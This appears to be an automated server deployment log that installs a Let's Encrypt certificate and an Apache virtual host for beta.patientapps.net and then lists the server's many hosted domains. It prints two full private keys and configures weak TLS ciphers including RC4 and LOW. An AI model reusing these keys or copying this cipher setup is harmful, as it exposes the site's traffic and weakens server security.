AgQCBIH+BIH7APkAdgDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAA
AZ1cOlQeAAAEAwBHMEUCIGAlHobnGBBBd/qg/Vy22rTy5xUXX0wpqO4kROYckiD1
AiEA8Rwq+BLw8Deo6aXmOMSD6RQfCTPQrLuh248Z0MsZVUgAfwBGr4Y9Oz7ln6V3
3qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ1cOlTZAAgAAAUAAwk0LQQDAEgwRgIh
ALnXqtQY5Ie2O3puCblCNtRjHpDIFLgICLibyLPKEgVGAiEA4q3XknnDRBMqNlAm
oewsdf3hpG7QyHSj77QoTpu4OOkwDQYJKoZIhvcNAQELBQADggEBAJrBSX1uRhgC
cW0nd4pLspZKsLfH97sEgSqrdxwMRZ2bfncjXB7fV3kKlLdU0WU1o2UJvv+lZ+F+
5/k78qagYZtpPOsxoscaNyLfCLaPtYJJBc5S6x+ucKj12fE9nW/zqQgnAu3FlM5e
+LL+RoJcSqFlYJuTQSmCmWHCq9l4yxJugmWEN+BtWALFDtj1hf3q9+11a5k7tOT8
9jY60PIYXvxOB3FE/sUIknxEmhiLXsV60OSUQCfCwKZAEvkwkWU/RTdCqlcqM6Y1
9TjZ6AnmLf6BeCnyp87Sc2RU0SwKda3ihVDtgYPfLl4ytBSbOUEf/ifJCKRpzBxt
QO/ntiFW3LU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCzy8LpjadYDYUT
tvWSMp4PJ+KC1pPHK6YP6AZ9B2K2gvduUJybE1t5OEsCWxK3RKfBau4KDOhGJjXp
reu7LYu95kiHqDbUbXPZ1PikI2E6ccCenz8m7JplL8wgm6ncAmEe+TARBCwIdHL1
t2quLff00mQ/T/Jrl1XhDfQl14DTzWWRjDF9kXvint6GUAT67EZw5CfW7s6IRZVr
/OzyosrfSQVZ3nWOfAqxBd+xexW1LQD1TfOAK9QZwt+eziJKbhYy7B8btHD+XYmP
S7MZsvg7fH3md3mTEabWD12J5+mDsEdrCzuo6nRJikMFi3n/QCulh0UT1Vy389m/
oJibpnK3AgMBAAECggEAFbL6T6CqeSyMipASvDXCsLaSFlNaW3fPn2zT16QcDEXr
IdO1ytt/tzYNi3e9XwP4sRW8K9dZ8xlqeUzlvd3l1yHjUAgDsgiRqlETPxAMDHct
FZfHkeWNTrgBjU/sJKLe4NOXMv6LZ+vR8gjUZbgjjFcWBTQbYFPP6Az8kdKb+DPG
ixJBQxhhpONQfaygK7IdjC+jTVL72tfj8y9Qzddi2gQaltwzH9pSasZ5WASeZyG1
IMcKsqjthHfS0A9bj/Bw7Po8ltykDFp7ic7fiUzyK5vhn57piR5kI+x6kqTFLh3t
KazT1wIOtoHJtakTeLO+43xq23w+NiuDoBAPwtgKZQKBgQDZ8+XerKJJusifwnXP
DbplteURve6jp/5BLs38AniVbbRnqtu2R3uS2Hk/Y6FWi7feN7BuDHJEwGCEH1hp
C9XBuEZxZFjsRwsbhZblRsSQFU9LdjnqpEWAFHW76ca+zfS4BNnvDVS38B2Ldi2+
XUY/N18ILjf/xN+3hfTP6a22TQKBgQDTLqw4Myk0WQjm8JxpmtiaqgfTV/36GxzC
EjFJvunkGDPvVBGWadRcTJXhCWGXCTehsoZANt9XeO4fGz+vM47eBYqNuBgu/pt/
+byHQphUfCOsgdzX3nBR/LqtYvqTbyejSO8T4A8NlhQsJQBzDw8vZ4+OQJveLJYC
bE1DrGUXEwKBgBnVZvG11KaYlR8alYwtPGLB5JztvlN3nhNr0M6GHHTZxABlqBU6
89K8BeMVlBIGDY0xXKAuqXyssMP4UypgVL3ZccAO/NtEsHRaqUAT20iYvgVbxhGh
1vsPccUMOJp1HwSQzqQfGGOU+muFXnap56GmloUJtWmDlGDUZ+gc8pIhAoGBAKh7
rg7QUmlfN0j4YfGnBnSufrvQkeI+Sz1SQlxxoizGWnjwe2+jUzeoKlN1ppRXWDj7
Mzx8CsfAxUmv9akT20Gq7hWO8Exd+TWqywymxt1whQ2WNdlLsBTZKx41v3Bs2BTf
lU4oDhpqyAFILAmf1B+f4do+FZy1uaCJQ0NggO5dAoGBAIHhrIPLT2TmTzzkApXb
b6xgc6rvxQChFyuAoduu3/3+HNPaajsoZeLAZRbpZAAnoMItMJDm4i5Vphx5NXnA
+aGwp3eh628ecI1ukb5cumUDQzzgFGvKTVpTl3hxo/HyaYD7NOd2nxkzmmjsUynP
CwEefU0DfLUKa5X+eeAvpVd7
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-06 06:00:02: Establishing a connection
2026-04-06 06:00:03: Establishing a connection
2026-04-06 06:00:03: 

PUT: /tmp/pkp888811

#!/bin/bash
if [ -d "/var/www/patientapps_beta/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-06 06:00:04: 

chmod 755 /tmp/pkp888811; /tmp/pkp888811; rm /tmp/pkp888811

2026-04-06 06:00:04: 


1


2026-04-06 06:00:06: Establishing a connection
2026-04-06 06:00:06: 

PUT: /tmp/pkp475072

#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
cat > rE6X6DuIjWKqqOYK7-9Z8tdWCoLU7WwV8ynSBsEzVio <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
rE6X6DuIjWKqqOYK7-9Z8tdWCoLU7WwV8ynSBsEzVio.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 rE6X6DuIjWKqqOYK7-9Z8tdWCoLU7WwV8ynSBsEzVio


2026-04-06 06:00:06: 

chmod 755 /tmp/pkp475072; /tmp/pkp475072; rm /tmp/pkp475072

2026-04-06 06:00:06: 




2026-04-06 06:00:13: Establishing a connection
2026-04-06 06:00:13: 

PUT: /tmp/pkp306810

#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
rm rE6X6DuIjWKqqOYK7-9Z8tdWCoLU7WwV8ynSBsEzVio


2026-04-06 06:00:13: 

chmod 755 /tmp/pkp306810; /tmp/pkp306810; rm /tmp/pkp306810

2026-04-06 06:00:13: 




2026-04-06 06:00:13: Establishing a connection
2026-04-06 06:00:13: 

PUT: /tmp/pkp726211

#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8

cat > $temp_file <<'endmsg'
8e:fc:df:36:c8:86:af:90:d0:89:54:9a:f4:9e:8a:65

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBbeEV0VU7gqhE5Bbi9PiFR6jMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDA2MDUwMTQxWhcNMjYwNzA1MDUwMTQwWjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAKnfz9dj5brx2kYvEmGeYnM5/wdVxxace5t8W4pSJ0LDMtK66JcC4L8Z
TiZ/yj+OEr1en7S/npf9vcqXzN9jShLJsuSIofv19qMI9NTRmInDsL1BpEzVdRay
bfiltfekjEP1UnhuiAGD6PrcCIFBd8ZXdeIIO/ymP+A4JgXeBSNhdDQovsSmuN4D
bpL7dUmVA1qZDnKVbznjtn/VCGtUui7ETJ0c+6i5IJ4ka6KeaRBPz5yhcZQJv2kL
AXcJ99I9jPtbtHMpCX49X8b7uo7wUUJ5uD9kBnpC+zUBQYDQa0st2LaS1AK9vDDm
GNrq4M4tEOELdSPR16doL32zviMHRmUCAwEAAaOCAiIwggIeMA4GA1UdDwEB/wQE
AwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBTlQJBquE96U81dTmvAM8Zot0GgBDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jI
soQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMu
aS5sZW5jci5vcmcvMB8GA1UdEQQYMBaCFGJldGEucGF0aWVudGFwcHMubmV0MBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvMzYuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYAlE5D
h/rswe+B8xkkJqgYZQHH0184AgE/cmd9VTcuGdgAAAGdYWCPZAAABAMARzBFAiAT
rSHnLWm0kAMUBH7iwqH11sN+b26Vj5YN8UOYqRakDwIhAK2kCtrlZqayE70/2s2w
m9yeIVbL4ioww7lWwnufQSYkAH4AbP5QGUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOA
nhgY6zoAAAGdYWCSdwAIAAAFAAYAD/YEAwBHMEUCIFZRGm6Vx9jYSy75D0eZWXDb
YYpN+4yGSvTA+514TH3/AiEAiXVLQNMeSpgRbGY9ULGZLMsALn8oumnzO1z68rB4
sYIwDQYJKoZIhvcNAQELBQADggEBABAYoDQCI+qzhVr0jcniNtxJF7wEGzlJzFd/
pLvFLGoVGUY4NdAimERWfo07xp/rYokh46Yk9GyV9NMx88j7Us9SU6mbCID9mUxT
ocTQTj9xAIoldPc5UvAo6D72Wg3S6lKyFrEOP5LT5NjRT6gI8h6xwNvOMNuRCK6i
UuD3z1OdUXghIyVWLSOagRMl9b4UOeAsGJVNY59tUZ5mzX7PlUXpWvPDhaIYRp4w
CgxlOvJ4KIE6gCNgMkeoMI0dXOMaoT+Q4lkWgPgD8yDT7CLpoiVxEPv13dl5muaf
h6+pdIGGh24fgr0oNx9Hs1o5k2PV7X8qT3BFpjspIX7xJGqRDWs=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCp38/XY+W68dpG
LxJhnmJzOf8HVccWnHubfFuKUidCwzLSuuiXAuC/GU4mf8o/jhK9Xp+0v56X/b3K
l8zfY0oSybLkiKH79fajCPTU0ZiJw7C9QaRM1XUWsm34pbX3pIxD9VJ4bogBg+j6
3AiBQXfGV3XiCDv8pj/gOCYF3gUjYXQ0KL7EprjeA26S+3VJlQNamQ5ylW8547Z/
1QhrVLouxEydHPuouSCeJGuinmkQT8+coXGUCb9pCwF3CffSPYz7W7RzKQl+PV/G
+7qO8FFCebg/ZAZ6Qvs1AUGA0GtLLdi2ktQCvbww5hja6uDOLRDhC3Uj0denaC99
s74jB0ZlAgMBAAECggEAEynRl2Gdxw7v3zlXMFZUPTMeidQg5J7xiMhTcVFe5swA
yJSs7BWMh1z88SCQZHFhZtCCYWW5J+Sdi6Rqnba54qWzUyRLaxJDvlT30vxJYh0x
K8sjFEcuRsmz2I16b33gvu0xXlmlvnoEMdcu9G86FPtv1nhfAAY8hXhVaGsJQa+B
KaMMVCjLWhuOpWE5phIIJRyRPiDC3zlB7y6EQ/I4sUO2MIcYURrWKDsotMKIe4QA
sJ7g6P5FEnQUCHpVLFGSyc0McJFPpbCbL9EdZssLdGuE2LG0i5qrQ12kiSLYs+RC
oIkuPfBtz/oKeWxR3XRksp0lSuNMhpmPkqIdx8r8nwKBgQDXxeHW6wntYCntg2yA
t8k+nqh86nr6GntNUS0CkZs2vxRCzdPp7iSGyGC1qCbUbdfDEZ9o4GshPRjjSU9/
sXfQ08Xjmlpt6VdpR+nmCwT2UfWXm7DpE6tMUeh03STiPYeAJwAxm/8Y/QMV6pId
hBlV6/wAKHUb9ofSmidVRxqR5wKBgQDJi1azzJO732VUOLdwR67e9XPvaLhR7lrW
afNEqhQ2ghDuSmVnqkEnQlYx6OFMdasfMN9jmFVZ/uobqo/TwZe9zcIMdsymUNqk
7i0FkSj82sWELX0Q5sFd2SIp2x9xHMKCG7UYc2IbSnfm0sVvIyXaHvVLR17DBhJ0
q6wFWHAz0wKBgFfKmqXgQczESKrrwzToEkiZM0KIAPtL1QlTUvXtmnJ+8lZv+p3+
l/wDAV5ICWx7OMOUowB/9vayLjMj++WfpnlgAO8nOU3pF/itGtzPdPhnxn4mCaf7
qcHGvcb2x3AJytz4gVqt9vAK2buMEmFSAyDzgDfsPiHff8nPkNtgr83XAoGATPcE
Bidyp0UZSf9ater58bTkMCHaeZc/YzAUsT0N+P7Ufls0vFC9DsP7bJXVK8Cnt4KP
XFY5CeQZ/LS2thPw4Y+osd/QKRcpV+CImt6jO2REF0TTxNeKMk+QB1HhgO2Nrefs
0UiGx4s5nJESym0usEwwOi4oFuvDsoA4cdYjCvcCgYEAxKSV/YHcK7ToAs7si8TS
QQp8LYUzGa59dxn+vxEZlq/eDUP45SqKcHERB2YZcvB/l1M5pSUwrT6qVPonV//r
DmTr7w8QnK2/JJIbvysgeplfPZihv4z78igri/Z6gI//Ek9D7RcZEMQyGr4fFttT
vF0x57amgUw4mRDIW0ih9Jw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-06 06:00:14: 

chmod 755 /tmp/pkp726211; /tmp/pkp726211; rm /tmp/pkp726211

2026-04-06 06:00:14: 


dir=/etc/ssl/certs


2026-04-06 06:00:14: 

PUT: /tmp/pkp144972

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_beta_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-06 06:00:14: 

chmod 755 /tmp/pkp144972; /tmp/pkp144972; rm /tmp/pkp144972

2026-04-06 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf 44
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-04-06 06:00:14: 

PUT: /tmp/pkp856442

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_beta_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_beta_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_beta_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf= 1'
fi


2026-04-06 06:00:14: 

chmod 755 /tmp/pkp856442; /tmp/pkp856442; rm /tmp/pkp856442

2026-04-06 06:00:14: 




2026-04-06 06:00:14: 

PUT: /tmp/pkp336648

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-06 06:00:14: 

chmod 755 /tmp/pkp336648; /tmp/pkp336648; rm /tmp/pkp336648

2026-04-06 06:00:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-06 06:00:14: Establishing a connection
2026-04-06 06:00:14: 

PUT: /tmp/pkp377740

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-06 06:00:14: 

chmod 755 /tmp/pkp377740; /tmp/pkp377740; rm /tmp/pkp377740

2026-04-06 06:00:14: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
